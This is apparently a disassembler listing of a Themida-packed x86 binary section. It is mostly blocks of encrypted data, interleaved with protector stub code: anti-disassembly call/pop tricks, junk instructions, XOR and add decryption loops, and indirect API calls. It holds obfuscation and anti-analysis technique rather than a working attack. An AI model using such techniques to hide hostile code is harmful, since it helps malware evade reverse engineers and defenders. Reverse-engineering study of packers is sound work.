dd 7527CBCh, 883F4A02h, 55E0BE57h, 661DC32Ch, 0A3336BA7h
dd 33D9C54Eh, 6D4AA97Ch, 3Ch, 66C9E525h, 8CFFE683h, 0F3D68D33h
dd 16888B99h, 83076A86h, 0D42DFFE6h, 7CBCBC6Bh, 0E682FD60h
dd 24CA23FFh, 830D708Ch, 0F811FFE6h, 0A75DBC49h, 0A984336Bh
dd 0A3FB1469h, 9249EF18h, 0F6A867BCh, 85A9316Bh, 1A9FC6ECh
dd 2A240BB1h, 0BDFFFFFFh, 0A3DD92BCh, 0B01C5C20h, 0E8B65D0Ah
dd 0B1CD0D5Dh, 0FFE7154Eh, 0C8751B74h, 71B0424Bh, 0BEE36AF3h
dd 0CBBE1F55h, 0DBEF526Eh, 0BC15FFE6h, 0DCAD102Ch, 7AD3FFE6h
dd 17418111h, 521B4BD8h, 8C00A634h, 7E157F2h, 80AC3790h
dd 7E10319h, 0E1E8A223h, 406F0BA9h, 3747h, 96F3D800h, 501E3ACAh
dd 4E07E09Ch, 0F01A6AF5h, 0E4A8BA65h, 1E923822h, 7E11CB7h
dd 0B78640C1h, 46F4038Dh, 3EE3A68Fh, 163FCAD4h, 0AC68A070h
dd 0BB06406Eh, 97000000h, 19F66CA7h, 41911C85h, 0C1B47E17h
dd 10B6D062h, 65F0AE63h, 8B1300h, 0F026789Bh, 0E6CD617Ch
dd 0A6F81BFFh, 4E50C370h, 81DFAAC3h, 0B95CB1F1h, 0CFCF40E5h
dd 0DACFB529h, 0A2FB07E0h, 0E27E0B6Ch, 0BD5A3652h, 2B840FDDh
dd 0D3CB469Bh, 7D21F09Dh, 9853A8BFh, 0D170AB99h, 286h
dd 386E30E6h, 0E117878Bh, 87BDE134h, 336935DAh, 0DD138B86h
dd 60BF4A9h, 5FB56298h, 0B45C093Fh, 0C07B4EAh, 358D5C92h
dd 0E703B619h, 0BF76DC07h, 28236AA7h, 0C3A96B83h, 0AF0494FDh
dd 570B2C61h, 0D4C4804Eh, 0DA87C56Bh, 972F6539h, 0BDD83B57h
dd 7EFEFFE6h, 0E6BCFF62h, 63CC25FFh, 96F306BDh, 501E3ACAh
dd 4E07E09Ch, 0F01A6AF5h, 0E3A85A65h, 1D9137ECh, 7E0E6B6h
dd 0B6853FC0h, 51BA0E8Ch, 0D47AF026h, 6EF5CC04h, 3B89B340h
dd 0EBEE7E9Dh, 55E00131h, 9EC44ADBh, 0AC17F8h, 72C70000h
dd 4856BFA3h
dd 0A78239DFh, 431FF66Ch, 0FB64CDD1h, 98060B70h, 0BFCDE08h
dd 0EB74D33Fh, 0C5EE7925h, 0F723B65Ch, 0FFE772DCh, 0FB316DA6h
dd 4ED9C54Eh, 7C0C5435h, 0E1877A60h, 194FA807h, 0C2254181h
dd 0F007E17Dh, 0F990F197h, 58F21556h, 45AEA55Ah, 7D5E99B5h
dd 2B840FDDh, 0D3CB469Bh, 7925EE43h, 29E895D3h, 22B6B775h
dd 5E999998h, 175BFh, 7F1FF700h, 28769C49h, 0CED045F2h
dd 7A24EB98h, 247A9744h, 1E05BAEEh, 0C875ABF3h, 6F1C524Ch
dd 1AC7FDA1h, 0A06FA5F9h, 4C92C48h, 91F707E7h, 346AA7DAh
dd 0DCC251FEh, 6CA7EFA6h, 0D142A732h, 533697CDh, 0B617D0Dh
dd 1707E086h, 0D78B94ADh, 73DC9488h, 2487A3E3h, 5207E08Dh
dd 66BB53F9h, 0EBBF1ADh, 0C9099905h, 0E08D4AADh, 0AA0D2907h
dd 0D807E08Dh, 3FE53E7Fh, 6AF693ACh, 0F4E0BEDAh, 5AAF0FE0h
dd 2F58E3BBh, 29E74089h, 96648B2Ah, 0DF27C601h, 8D000000h
dd 32DF1589h, 0DB88BEE0h, 812E643Ah, 2DDA108Eh, 5084BAE4h
dd 415DB49Bh, 0E8B65E0Bh, 930B05B2h, 3B63B05Dh, 0C2DE3605h
dd 7E7045Fh, 0F3681F85h, 0FA3ACA96h, 98B255D0h, 0F99F804Bh
dd 0E7E0A385h, 0E676CF07h, 14278AA6h, 28E907E7h, 36DC3576h
dd 0C9D53EA3h, 352DE693h, 0D36C1DDh, 74C919A4h, 0E458FEA0h
dd 51D0C38Bh, 0B5D11161h, 41CFC152h, 81E40080h, 0AF41CFC1h
dd 0C647ED56h, 0B3EB280Ch, 3056F923h, 0FAABE299h, 0D1FA8519h
dd 59BCD868h, 8741CFA5h, 0B24A882Eh, 0A4F35672h, 0B72141CFh
dd 811AF3D7h, 0C66CD5FAh, 0A768FA19h, 0DA436CF7h, 7925EA4Fh
dd 79335CEEh, 0EA207E95h, 0FDB7D63Dh, 0A1FD15DEh, 0A573ED16h
dd 590F986h, 0D66h, 7BBBFF00h, 83BC1F3Bh, 91EAFFE6h, 6FA734EBh
dd 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh
dd 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 51528510h, 0C181E189h
dd 4, 4E981h, 0C870000h, 1C895C24h, 17E66824h, 0C890000h
dd 29816824h, 2C890000h, 0A9B85024h, 50080069h, 9A685859h
dd 8900003Dh, 4812424h, 424h, 0EC815D00h, 4, 81240C89h
dd 1ECC242Ch, 458F4E07h, 8458108h, 4E071ECCh, 57242C8Bh
dd 0C781E789h, 4, 8704C783h, 8B5C243Ch, 8957240Ch, 4C781E7h
dd 83000000h, 3C8704C7h, 85E95C24h, 0D7FFF9FBh, 82EAB8C7h
dd 0C5030800h, 6585C650h, 4707FA06h, 38172568h, 0A5B5FFCFh
dd 8D07FA08h, 0FA3AE285h, 8BD0FF07h, 11858DD8h, 5007FA03h
dd 10468h, 0C6D3FF00h, 0FA066585h, 0BF685307h, 0FF8307F8h
dd 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah, 898589D0h, 83080067h
dd 0FA3135BDh, 840F0007h, 0Bh, 2B459D8Bh, 5E907FAh, 0BB000000h
dd 0
; ---------------------------------------------------------------------------
push 100h
lea esi, [ebp+800678Dh]
push esi
push ebx
call dword ptr [ebp+7FA2951h]
lea esi, [ebp+800678Dh]
add esi, eax
jmp loc_5EB841
; ---------------------------------------------------------------------------
loc_5EB840: ; CODE XREF: Themida_:005EB84Dj
dec esi
loc_5EB841: ; CODE XREF: Themida_:005EB83Bj
cmp byte ptr [esi], 5Ch
jz loc_5EB853
cmp byte ptr [esi], 2Fh
jnz loc_5EB840
loc_5EB853: ; CODE XREF: Themida_:005EB844j
mov byte ptr [esi], 0
lea eax, [ebp+800678Dh]
push eax
call dword ptr [ebp+8006789h]
pop eax
jmp eax
; ---------------------------------------------------------------------------
dw 0AD9Bh
dd 8DA73746h, 0D9170A1Ch, 2638125Dh, 7E6713Ah, 52794872h
dd 0F3F74465h, 0CA7454E5h, 0D3C64D4Ch, 69A25419h, 65BA75A7h
dd 33145739h, 8FD200Dh, 0C0D00023h, 20896AF7h, 83B74B6Fh
dd 0E11F7AD9h, 0B1871EC9h, 0F99767A3h, 0B72909CEh, 0CE83CE0h
dd 18000000h, 0D698B16Ah, 0D5563420h, 58ED952Ah, 0DE9h
dd 33A86E00h, 0B7DD0061h, 424D3A13h, 0C0817C54h, 5964h
dd 0D38B6660h, 10E950h, 48080000h, 0AE3683F6h, 0DC0B2EF5h
dd 8F6EE9F2h, 6159DFDBh, 162668h, 28E0F00h, 8B000000h
dd 8B605BCBh, 30FF61DAh, 6820F5Ah, 81000000h, 6CEFC6D9h
dd 6FF28156h, 0FC49D789h, 280EF281h, 0A4BF3514h, 811791ACh
dd 0D3F152C2h, 0CE933h, 99640000h, 667E8499h, 3D4B26A1h
dd 10896442h, 8101E883h, 3FE142D7h, 48484819h, 12850F4Bh
dd 0B5000000h, 29E99Fh, 6FB40000h, 7BE89E3Dh, 255FFDFDh
dd 16F18195h, 0E94159F3h, 0FFFFFF96h, 7C077CDBh, 46046BB3h
dd 90C39103h, 33057974h, 8DEEBCCCh, 85ED8Dh, 0E7816608h
dd 8D899A52h, 7FA1CD9h, 21B98D29h, 85C707FAh, 7FA31ADh
dd 6BDCh, 43EAE681h, 85C7133Ah, 7FA2BD9h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5EB9C7
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EB9C7 proc near ; CODE XREF: Themida_:005EB9BFp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5EB9C7 endp
; ---------------------------------------------------------------------------
jnz short loc_5EBA53
push dword ptr [ebp+7FA112Dh]
push 0
push edx
call sub_5EB9EA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EB9EA proc near ; CODE XREF: Themida_:005EB9E2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5EB9EA endp
; ---------------------------------------------------------------------------
cmpsb
add eax, 95091C6Ah
and [esi], ecx
cli
pop es
call dword ptr [ebp+7FA1799h]
push 0
push ebp
call sub_5EBA15
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EBA15 proc near ; CODE XREF: Themida_:005EBA0Dp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5EBA15 endp
; ---------------------------------------------------------------------------
cmp [ebx+6Ah], ecx
add bh, bh
xchg eax, ebp
sbb [eax], edx
cli
pop es
mov eax, eax
jmp short loc_5EBA8C
; ---------------------------------------------------------------------------
db 24h
dd 0D3108194h, 10DFE46Bh, 0A43191E1h, 21CB5B5Ah, 62E9DEC7h
dd 7E49300Bh, 88FB2F51h
db 0Bh, 0A6h, 73h
; ---------------------------------------------------------------------------
loc_5EBA53: ; CODE XREF: Themida_:005EB9D7j
sbb al, 0
push cs
sbb eax, 111786FBh
std
mov ecx, [edx+3Fh]
movsb
sbb [ecx], ah
setalc
mov cr3, edx
fcom st(1)
push ebx
add eax, 9DD38275h
aas
adc [ebp+7Ah], edx
push ss
and al, 96h
loc_5EBA75: ; CODE XREF: Themida_:005EBA91j
insb
sbb ecx, esp
add al, 0D1h
out 42h, eax ; Timer 8253-5 (AT: 8254.2).
mul ch
add [ecx-251BB7AAh], dh
dec edx
enter 43FBh, 0Dh
sbb [eax], dl
inc eax
loc_5EBA8C: ; CODE XREF: Themida_:005EBA31j
call near ptr loc_5EBA9D+1
jl short loc_5EBA75
out dx, eax
or [edx+ecx*4-3118B22Fh], bh
loopne locret_5EBAD3
loc_5EBA9D: ; CODE XREF: Themida_:loc_5EBA8Cp
cmp eax, 9D895AF5h
test eax, 8107FA23h
retn 6CA2h
; ---------------------------------------------------------------------------
align 4
jmp loc_5EBAC0
; ---------------------------------------------------------------------------
db 40h, 64h, 60h
dd 0BA63065Dh, 47EE13EBh, 27388ED7h
; ---------------------------------------------------------------------------
loc_5EBAC0: ; CODE XREF: Themida_:005EBAACj
mov edi, 1B08h
mov esi, eax
loc_5EBAC7: ; CODE XREF: Themida_:005EBB0Bj
mov ecx, [edx]
add ecx, 0B9F076Fh
pusha
mov dl, 0F8h
; ---------------------------------------------------------------------------
db 81h
; ---------------------------------------------------------------------------
locret_5EBAD3: ; CODE XREF: Themida_:005EBA9Bj
retn 0ECE8h
; ---------------------------------------------------------------------------
dw 3D65h
; ---------------------------------------------------------------------------
popa
add ecx, 619DE2C4h
sub ecx, 2BE9A9Fh
cmc
push ecx
jmp loc_5EBAF8
; ---------------------------------------------------------------------------
sahf
push edx
inc ecx
cmp eax, 0BD027DB0h
lds ecx, [ecx+39h]
das
loc_5EBAF8: ; CODE XREF: Themida_:005EBAE7j
pop dword ptr [edx]
sub edx, 4
pusha
mov [ebp+7FA2201h], esi
mov esi, 1FC065CAh
popa
dec edi
jnz loc_5EBAC7
add [ebp+7FA1771h], esi
lea ecx, [ebp+800877Dh]
push 0
push ebp
call sub_5EBB28
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EBB28 proc near ; CODE XREF: Themida_:005EBB20p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5EBB28 endp
; ---------------------------------------------------------------------------
fdivr qword ptr [edx+295E258Eh]
mov eax, 1CB8666Ah
mov bh, 8Bh
dec byte ptr [ecx-5E32673h]
pop es
xor bh, 5Ah
mov dword ptr [ebp+7FA31ADh], 6C10h
push 0
push edi
call sub_5EBB64
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EBB64 proc near ; CODE XREF: Themida_:005EBB5Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5EBB64 endp
; ---------------------------------------------------------------------------
dec ecx
xor bh, ah
mov esi, [ebp+7FA1119h]
mov dword ptr [ebp+7FA2BD9h], 0
push 0
push esi
call sub_5EBB92
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EBB92 proc near ; CODE XREF: Themida_:005EBB8Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5EBB92 endp
; ---------------------------------------------------------------------------
dw 65B6h
dd 0B5FF651Fh, 7FA167Dh, 0F6DB8166h, 9995FF98h, 6A07FA17h
dd 1995FF00h, 8B07FA10h, 230EEBC0h, 492DC609h, 834CF2D1h
dd 0D0919E04h, 2FE99Dh, 0D1A00000h, 8C933A1Ch, 0E89DE61Dh
dd 746E2E81h, 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h
dd 4 dup(0)
dd 708E900h, 36680000h, 0E9080089h, 0FFF9F720h, 8A0668h
dd 0F716E908h, 0BB68FFF9h, 0E908008Ah, 0FFF9F70Ch, 8B7768h
dd 0F702E908h, 6368FFF9h, 0E908008Ch, 0FFF9F6F8h, 8D3268h
dd 0F6EEE908h, 6AACFFF9h, 0C151FE34h, 1BFAA7DDh, 6FA04D83h
dd 0C54CF92Fh, 0BA6FA3D9h, 285E40D1h, 0CF05997Bh, 7AB0EE22h
dd 225846CDh, 7CDFFB53h, 0AA07E70Bh, 1D6D8D44h, 6000000h
dd 0A7326CA7h, 8191D142h, 0C469921Dh, 9AC34E50h, 2087FB31h
dd 0EAFFE683h, 8B427826h, 3ACA96F3h, 0E084E81Eh, 0B061F607h
dd 0D13A63EEh, 7F741741h, 0CE3A7AB7h, 0F0459528h, 0C6EF7A24h
dd 0FD8ABA4Ch, 0BE648110h, 0E179E34Ah, 0B26CED07h, 0F8A9B9E3h
dd 715B1DECh, 60C3FBCBh, 7A61406Fh, 0F2000002h, 1FF992BCh
dd 0D2F27E3Ch, 9842532Ch, 0C0DE33F1h, 0A9ABC757h, 0D07E0F1h
dd 9D1377B4h, 31CC0F99h, 5C780858h, 0CBB54D26h, 0EF739F34h
dd 0CAF37E20h, 44ADD661h, 3BE9A0B9h, 163FCAD4h, 4B076A86h
dd 0D42DC415h, 8986DB6Bh, 0FB643AD9h, 58E3BB56h, 0D5F1892Fh
dd 0CC12EF4Bh, 5338ED57h, 6BA7177Bh, 4487202h, 0FA934737h
dd 54A941E7h, 0F4FDFBFh, 0F450B3CFh, 1D76C3B9h, 0B9F44EB1h
dd 9E0010C3h, 5EC1DD5Dh, 84C3B9F4h, 0DE1CC22Bh, 0FEBCE231h
dd 5A4DB6ABh, 0E5D271ACh, 0DD000004h, 822F6539h, 2BD80E90h
dd 0D17EB4EAh, 7D2A603Eh, 0A0D40A94h, 910D04EBh, 3866AE5Bh
dd 0E3BB5502h, 8B1300ADh, 122E8655h, 7E70CAFh, 0A7B86FD5h
dd 4DA2326Ch, 247A9BC7h, 94F630BBh, 0CC32D7E7h, 0E4771D86h
dd 12A2BECBh, 0BE4955BDh, 3B57EF95h, 7E0E369h, 6ED1ED6Dh
dd 9407E0E2h, 0C39CD23Bh, 0DF8108B2h, 841AFA4Fh, 922AD0F9h
dd 0DAE87476h, 0CC09620Fh, 84959C68h, 89D7B298h, 64A7DDF9h
dd 5AB3A07Eh, 66D3B6CFh, 4E63E74Ah, 24B40D9Fh, 4E64A508h
dd 972CB9Fh, 7D35D79h, 76CFA74Ch, 4A66A6E6h, 9880C4E7h
dd 610EB40Dh, 75CECB2h, 0DF08930Bh, 0E63FB39h, 0EAB46101h
dd 27CD365Fh, 4705997Ah, 1048518h, 1511B0EBh, 0AD000004h
dd 52FF3569h, 0FBA8DEC0h, 0A14E841Ah, 4DFA306Eh, 70A4DAC4h
dd 613DD4BBh, 8967E2Bh, 0B3EB25D2h, 5B43D07Dh, 0E2FE5625h
dd 7E70D7Fh, 0A7883FA5h, 8D10216Ch, 0DB009853h, 0AB25FBD1h
dd 0C754121h, 3F216881h, 56E193AFh, 61B607E1h, 0C64AEFAFh
dd 7E244DD8h, 537ECB35h, 0ADAD59C1h, 21760E44h, 0A708AEF0h
dd 0AEEE7EE2h, 0E0A62F92h, 6CFC5507h, 0E0A5ED50h, 14BA1307h
dd 0E0FC3C7Ch, 7E0A67Dh, 3FCAD43Fh, 0D67CD516h, 0E12D9C62h
dd 0E171CA0Fh, 0E117878Ch, 34BFDF34h, 1E808FE4h, 0EE721778h
dd 4C88425Eh, 55E17DBh, 9E470E47h, 7A6E191h, 360h, 0B4EAB462h
dd 5D930B07h, 33965B0h, 0AFE5B956h, 598F0F02h, 8A877025h
dd 0E331DE14h, 38D885BBh, 90833066h, 0B109D80Eh, 0E70D3295h
dd 43FA6007h, 0A7326CA7h, 0D565FB8Eh, 0CDD14095h, 0FF731942h
dd 7E083BDh, 96C050A9h, 2434DFF1h, 42D37804h, 9178B65Ch
dd 1B0h, 0C56F7B2Ah, 0F65975C4h, 1CFFE682h, 9BC758B2h
dd 93FC96A8h, 0CF459A2Ah, 751B44CFh, 96BFC1DDh, 0CA2307E0h
dd 8602298Dh, 0F198FD1Dh, 0F1C3DF6Fh, 0F5FAA79Fh, 91F8119Ch
dd 99233FCFh, 0DFD2103h, 44CF24B4h, 6E8ACA5Ah, 0F2A8020Bh
dd 336BA439h, 70167FA8h, 108E8532h, 5FB87952h, 8A7E26Bh
dd 2A4h, 70A6F81Eh, 194F4FC3h, 0BFF5A96Ch, 6BA1FD12h, 154B53BEh
dd 0CE432CE1h, 27ED9AD0h, 7C944177h, 0D43FEC22h, 6DC594CAh
dd 0E70DEE51h, 0F7AE1407h, 0A7326CA7h, 0E829FB8Eh, 0A1BD4DB6h
dd 7E0A0CFh, 0AC447AD3h, 3EE3BB57h, 133CC7D7h, 0DD87946Dh
dd 0E718DACh, 3407E0A0h, 0B7D361DBh, 207DCC16h, 90B27B7h
dd 5E0FDB7Eh, 0A4616134h, 0E48A2D36h, 72B2429Bh, 0E725F356h
dd 888C21FFh, 0C207AD16h, 0C90EDE5Eh, 5D79B98Eh, 8EC7CDFAh
dd 0CE5ABDD9h, 2F888EC7h, 8EEF95EEh, 80D565FBh, 58810C92h
dd 9A405EB3h, 0A76DC202h, 0DFBF52F7h, 0EEF3C539h, 0C61F96C1h
dd 0F967223Bh, 684A3F69h, 470BF38Dh, 63ED09A1h, 3090FFA9h
dd 0A471D4F0h, 469F8ECCh, 0A42F6FA1h, 338CD57Bh, 0D9C54EA3h
dd 811DF6A3h, 78E606C3h, 6F0E4917h, 1B8h, 5C920C0Ah, 53B63AFh
dd 0ABE1BD58h, 578D11FEh, 13767AAh, 0E22F18CDh, 3BD986BCh
dd 90802D63h, 0E82BD80Eh, 59B180B6h, 0E70FDA3Dh, 0EBA20807h
dd 0C67F92BCh, 1B1BC7C2h, 534BC875h, 86DAAFC8h, 0B061B6F6h
dd 953A63EEh, 6A931E80h, 319E50C4h, 6BC407E1h, 415D9D35h
dd 7E111DEh, 4E05AB04h, 3ACA96F3h, 0E70B621Eh, 93237C07h
dd 94F71353h, 8907E70Ah, 128D654Ah, 0CC256620h, 49A7926h
dd 0ACF221CEh, 0DF810821h, 0A165334Fh, 0EC810FE7h, 0C2EB7628h
dd 9A8A5748h, 0DD467BF2h, 6A31234Dh, 5ED8C649h, 21C75473h
dd 0BFDF3489h, 5637DC89h, 0FE095AC6h, 5EE95290h, 8C1C4445h
dd 0E0B30E70h, 1DDB3407h, 9E64E9BAh, 0E9BF5E99h, 0D9000000h
dd 7E2B613Dh, 27D40A94h, 0CD7AB0EEh, 79265C42h, 9CD00698h
dd 8D1100E7h, 346AAA57h, 0DFBF51FEh, 8717FCA9h, 0E2A8251h
dd 7E710ABh, 0BCBC73D9h, 134BD092h, 58FE9FAAh, 839292F7h
dd 61141E0Ah, 46D3219h, 85EEB05Fh, 0B307D9F5h, 0B20B07E7h
dd 4D51C227h, 0FE617DBDh, 2407E6B1h, 0B22588A4h, 0F24B07E6h
dd 7ADDF989h, 0A807E6B2h, 0BE6BA94Fh, 0FC533855h, 0C1666D96h
dd 287DCD58h, 22BB6E8h, 0BE2FE85Ch, 84BD3A03h, 712DE6CAh
dd 8858E3Bh, 9496FE53h, 3D6EE880h, 1F6580EFh, 60C550B9h
dd 0D264EFAFh, 80BEFA9h, 17F0536Fh, 81163A03h, 5A830E90h
dd 0A55288F1h, 29B1F6Eh, 0D971ACDEh, 36B5ABDh, 0C62F883Ah
dd 9D78CD5Dh, 29C85B01h, 14h, 3B7BBBC2h, 0E683BC1Fh, 1791EAFFh
dd 91726E2Fh, 883FE5C3h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh
dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh
dd 85108E84h, 0E0895052h, 405h, 4BF5700h, 29000000h, 4875FF8h
dd 0E3685C24h, 8900001Fh, 2E68241Ch, 89000044h, 0BA52243Ch
dd 2A4E4CF8h, 8108E2C1h, 6516DBF2h, 0DEF28166h, 52202966h
dd 8B545A5Bh, 0C481243Ch, 4, 15B85053h, 15C661Eh, 58042444h
dd 8108478Fh, 1E15086Fh, 3C8B5C66h, 0E6895624h, 4C681h
dd 0C6830000h, 24348704h, 241C8B5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58B334
; ---------------------------------------------------------------------------
dd 82030986h, 40B813E1h, 308008Eh, 0F9E0FFC5h, 0C2ECB9Eh
dd 0A950C488h, 5F62BC74h, 313E22CBh, 0A0BE5C7h, 0E51D7326h
dd 2C6EDAF2h, 0E816CBE4h, 691666D5h, 0CA586198h, 0F374641Eh
dd 361E55A4h, 0E81A5304h, 0Ch, 102BD665h, 524EF65Dh, 9CD725D1h
dd 16B8C881h, 535A50D0h, 890FF960h, 0
; ---------------------------------------------------------------------------
popa
pop eax
add edx, 7273h
add di, 0F03Dh
push 1C79h
mov cx, 0D663h
pop ebx
mov ax, bx
; START OF FUNCTION CHUNK FOR sub_5EC3B6
loc_5EC38A: ; CODE XREF: sub_5EC3B6+28j
push dword ptr [edx]
pop esi
jmp loc_5EC39E
; END OF FUNCTION CHUNK FOR sub_5EC3B6
; ---------------------------------------------------------------------------
dw 8558h
dd 0AE9C601Dh, 9258AE83h
db 0D2h, 0BBh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC3B6
loc_5EC39E: ; CODE XREF: sub_5EC3B6-29j
sub esi, 68CB57ADh
jge loc_5EC3B7
call near ptr sub_5EC3B6
aam 5Eh
retf 8722h
; END OF FUNCTION CHUNK FOR sub_5EC3B6
; ---------------------------------------------------------------------------
pusha
cmpsb
; =============== S U B R O U T I N E =======================================
sub_5EC3B6 proc far ; CODE XREF: sub_5EC3B6-Cp
; FUNCTION CHUNK AT 0058B334 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 005EC38A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005EC39E SIZE 00000016 BYTES
pop edi
loc_5EC3B7: ; CODE XREF: sub_5EC3B6-12j
sub esi, 3827CEEEh
push esi
sbb cl, 22h
pop eax
xor esi, 5285BAF9h
movsx ecx, ax
mov [edx], esi
mov eax, 1AE38AF7h
sub edx, 4
or edi, 9FB2D5Eh
sub ebx, 1
jnz loc_5EC38A
mov di, cx
jmp loc_5EC3FF
; ---------------------------------------------------------------------------
dd 3EB32F9Ch, 3 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5EC3FF: ; CODE XREF: sub_5EC3B6+31j
jmp loc_5EC8CF
; ---------------------------------------------------------------------------
push 8009103h
jmp loc_58B334
; ---------------------------------------------------------------------------
push 800916Fh
jmp loc_58B334
; ---------------------------------------------------------------------------
push 80092F5h
jmp loc_58B334
; ---------------------------------------------------------------------------
dw 8E88h
dd 0E52DDA10h, 3FD683B9h, 937C295Fh, 0E928D50Bh, 964B7FB5h
dd 43A64ADh, 0ABE1BD57h, 568C12FEh, 0FE346AA9h, 58BBD72Fh
dd 7E07E712h, 67BC6118h, 0A350F6A8h, 4BA0306Eh, 9D30D6C8h
dd 831BF84Dh, 7C29CFF8h, 36EFF697h, 0D1B28E32h, 0CE48BDF4h
dd 0F760710Ch, 372960C1h, 86E98BA7h, 348D07E1h, 0C8C54FA4h
dd 7315AEEh, 4CF25BBDh, 0B6268DB9h, 0AF3007E0h, 0C2B6EEF5h
dd 489D406Eh, 27779AC8h, 640A739Ch, 30A83h, 33DE3300h
dd 0AAC52844h, 92EB07E0h, 0BCCC8329h, 82FD607Ch, 0CA23FFE6h
dd 0EB4EA25h, 14751F35h, 9EA0BC4Ch, 4407E089h, 0D13A64AFh
dd 0F0423094h, 1880545h, 50A00D4Eh, 0CB34D4E0h, 0D75D1F3Bh
dd 0FA3A027Fh, 4BC67BDEh, 0D650A9FDh, 72889345h, 0D720C66Fh
dd 62CBD342h, 95CBBED7h, 46A9C505h, 33FD4C68h, 0F77F034h
dd 0C922630Ch, 0EA6F8B23h, 0D405463Fh, 7996EB7Bh, 0CB719A25h
dd 6935DE33h, 0D58D8633h, 70D5603Eh, 2C95FEA0h, 287016Eh
dd 48E72263h, 2FAh, 0FC326CAAh, 0A5DBC34Fh, 4B811DF8h
dd 0F72D719Eh, 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h
dd 48CB78AEh, 0F9512056h, 0E7147ADDh, 8B42A807h, 3ACA96F3h
dd 0E713661Eh, 24EB8007h, 2C81117Ah, 0D683B9E5h, 0A9D3633Bh
dd 512F52ECh, 0F915A50Dh, 7E70696h, 2ABD63BCh, 0E70696FEh
dd 7727EC07h, 624368B9h, 8928636Eh, 28Eh, 689E0016h, 114757BBh
dd 0B7EDB164h, 6399050Ah, 0D435BB6h, 0D63B24D9h, 2FE592C8h
dd 848C396Fh, 0DC37E41Ah, 65BD8CC2h, 0E713E649h, 0EFA60C07h
dd 3ACA96F3h, 0E713661Eh, 97278007h, 41CCD242h, 8FDF7218h
dd 0BCF9254Fh, 0FAA1A63Ch, 0E69B2B8Eh, 5A005907h, 0E69B7FE6h
dd 0D8C64907h, 722CE84Dh, 0E09ACBE7h, 9852D338h, 74A35991h
dd 195F740h, 0A7880000h, 62A2326Ch, 0E682E346h, 3866ADFFh
dd 0AE4384ADh, 28CE3767h, 0BBE33095h, 623CD62Bh, 0C33580E8h
dd 640AA1B6h, 75C4C526h, 0E69AF659h, 8E871CFFh, 0AE3EA710h
dd 9AEF526Eh, 0BC15FFE6h, 0C8627E16h, 0DE07E0C5h, 6BD4CA49h
dd 138B86DBh, 0ADF12388h, 0EA90F922h, 0B5C42B57h, 4DCE07E0h
dd 0D19AC493h, 0E52B14A2h, 46D1CD43h, 3E0EB41Dh, 406EE606h
dd 27A4h, 67BC3500h, 3D66F1ADh, 0D533697h, 9B93617Dh, 368F07E0h
dd 9B187FABh, 0A12207E0h, 0A7A8E0E7h, 0B746406Eh, 0D7000000h
dd 0A7326CA7h, 7A130257h, 0C6F454B1h, 0BB11AF1h, 5BEBB35Eh
dd 0EB9CFF1Bh, 71CAFFE6h, 40D338CBh, 9B79CE5Eh, 0A94F7803h
dd 6A86C616h, 0FFE6EB07h, 812ED42Dh, 3ED60C92h, 27F9E414h
dd 0B1573003h, 0E72EB43Dh, 4845CEFFh, 0FD2E02EBh, 0FE50402Dh
dd 0B3AE2AA4h, 2639902h, 2D49D987h, 7E38D57h, 459A2A83h
dd 0EF9CD2CCh, 7DBE7C22h, 5E9E61CAh, 1088423h, 7A9C0000h
dd 0D141EE24h, 2BEA97CDh, 7F903D73h, 0D53CE91Fh, 0AA5F93C9h
dd 184E50C1h, 0BFF5A96Bh, 6AA0FE12h, 124856BDh, 6CCFEB43h
dd 9A07E715h, 6AA77D34h, 5C301923h, 53BCCA68h, 0FBA3701Dh
dd 6CA70EC5h, 0D142A732h, 2BE83DCDh, 2E8FCD73h, 5975055Bh
dd 7E0D258h, 4095257Eh, 2397CDD1h, 7E0D2BCh, 65008D86h
dd 0C56BA8D5h, 71C656BFh, 0B85B009Eh, 8C325BE6h, 2E70A14Eh
dd 8804A3h, 0F39D0000h, 1E3ACA96h, 7E71362h, 4898237Ch
dd 0DC821CF3h, 84BAE42Fh, 0D7623CD7h, 9ACDB7ABh, 4955BB3Eh
dd 0ABB759BEh, 44CF3866h, 50F8B2EBh, 0FE1267B7h, 8618FBA0h
dd 0AB2CD2FBh, 98060DF1h, 195EB562h, 99B79AFDh, 0DF33C83Eh
dd 62ED56BFh, 18C12FDh, 0A88C466Fh, 4EA3336Bh, 3396B2C5h
dd 613E99B7h, 0F30F9F08h, 3E99B790h, 79B75DB6h, 0CC5747CCh
dd 112Dh, 0FFBBE500h, 492A42CCh, 643AD97Eh, 530AB0D9h
dd 6FA75CBBh, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h
